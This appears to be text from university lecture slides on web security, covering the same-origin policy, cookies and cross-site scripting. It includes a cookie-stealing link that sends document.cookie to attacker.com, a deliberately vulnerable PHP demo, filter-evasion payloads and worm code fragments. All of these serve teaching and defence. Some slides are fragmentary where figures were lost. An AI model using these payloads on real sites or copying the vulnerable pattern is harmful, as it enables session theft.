Announcements

• Homework 2: Due Friday
• Lab 2: Will be available by Wednesday
• New office hours schedule on course website
Review: Two Sides of Web Security

(1) Web browser
   – Responsible for securely confining content presented by visited websites

(2) Web applications
   – Online merchants, banks, blogs, Google Apps …
   – Mix of server-side and client-side code
     • Server-side code written in PHP, JavaScript, C++ etc.
     • Client-side code written in JavaScript (... sort of)
   – Many potential bugs: XSS, XSRF, SQL injection
Review: Browser Security Model

Goal 1: Protect local system from web attacker
→ Browser Sandbox
(More on this next week)

Goal 2: Protect/isolate web content from other web content
→ Same Origin Policy
# Same Origin Policy

**Goal:** Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

- Browsers don’t (or didn’t) always get it right...

- Lots of cases to worry about it:
  - DOM / HTML Elements
  - Navigation
  - Cookie Reading
  - Cookie Writing
  - Iframes vs. Scripts
Background: HTML + DOM + JavaScript

<html>
<body>
<h1>This is the title</h1>
<div>
<p>This is a sample page.</p>
<script>alert("Hello world");</script>
<iframe src="http://example.com"></iframe>
</div>
</body>
</html>
Iframes allow one website to include another:

```html
<iframe src="www.washington.edu"></iframe>
```

“first party”

“third party”
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

- **www.bank.com** (the parent) can access HTML elements in the iframe (and vice versa).
- **www.evil.com** (the parent) cannot access HTML elements in the iframe (and vice versa).

```
<html>
<body>
<iframe src="http://www.bank.com/iframe.html">
</iframe>
</body>
</html>
```
Background: Browser Cookies

- HTTP is stateless protocol
- Browser cookies are used to introduce state
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets
Same Origin Policy: Cookie Reading

- Websites can only read/receive cookies from the same domain
  - Can’t steal login token for another site 😊
Same-Origin Policy: Scripts

• When a website includes a script, that script runs in the context of the embedding website.

```html
<script src="http://otherdomain.com/library.js">
</script>
```


• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Foreshadowing: SOP Does Not Control Sending

- A webpage can **send** information to any site
- Can use this to send out secrets...
Example: Cookie Theft

• Cookies often contain authentication token
  – Stealing such a cookie == accessing account
• Cookie theft via malicious JavaScript
  `<a href="#" onclick="window.location='http://attacker.com/steal.php?cookie='+document.cookie; return false;">Click here!</a>`

• Aside: Cookie theft via network eavesdropping
  – Cookies included in HTTP requests
  – One of the reasons HTTPS is important!
Stepping Back

• Browser security model
  – Same origin policy: isolate web content from different domains
  – Next week: More on browser sandbox, and isolation for plugins and extensions

• Web application security (next + Lab2)
  – How (not) to build a secure website
Web Application Security: How (Not) to Build a Secure Website
Dynamic Web Application

GET / HTTP/1.1
HTTP/1.1 200 OK

Browser

Web server

index.php

Database server
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code

```html
<input value="<?php echo $myvalue; ?>">
```

• Can embed variables in double-quote strings

```php
$user = "world"; echo "Hello $user!";
```

or

```php
$user = "world"; echo "Hello" . $user . "!";
```

• Form data in global arrays $_GET, $_POST, ...

CSE 484 - Fall 2023
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>...
</body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name=User

Welcome, dear User


Welcome, dear
XSS – Quick Demo

```php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<br><br><br>
<div id="greeting">
    <?php
    $name = $_GET['name'];
    if($name) { echo "Welcome " .  $_GET['name'];}
    ?>
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Cross-Site Scripting (XSS)

Access some web page

<iframe src=http://naive.com/hello.php?
name=<script>win.open(
</script>>

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/steal.php?cookie=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com


Welcome!</HTML>

Hello, dear

Basic Pattern for Reflected XSS

Injected script can manipulate website to show bogus information, leak sensitive data, cause user’s browser to attack other websites. This violates the “spirit” of the same origin policy!
Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad
• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!
• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
Where Malicious Scripts Lurk: Stored XSS

- User-created content
  - Social sites, blogs, forums, wikis
- When visitor loads the page, website displays the content and visitor’s browser executes the script
  - Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script

2. User victim requests content

3. User victim receives malicious script

4. Steal valuable data

- Attack server
- Store bad stuff
- Server victim

Users view or download content
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data not escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST",
"authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML
• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
Evading Ad Hoc XSS Filters

- Preventing injection of scripts into HTML is hard! Use standard APIs
  - Blocking “<” and “>” is not enough
  - Event handlers, stylesheets, encoded inputs (%3C), etc.
  - phpBB allowed simple HTML tags like <b>
    \[<b c="">" onmouseover="script" x="<b">Hello</b>\]

- Beware of filter evasion tricks (XSS Cheat Sheet)
  - If filter allows quoting (of <script>, etc.), beware of malformed quoting:
    \[<IMG "">"<SCRIPT>alert("XSS")</SCRIPT>"\]
  - Long UTF-8 encoding
  - Scripts are not only in <script>:
    \[<iframe src='https://bank.com/login' onload='steal()'>\]
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- … but does allow `<div>` tags for CSS.
  - `<div style="background:url(‘javascript:alert(1’)‘)">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    - `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

Resulting code:
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or [make anyone angry]. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page
• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak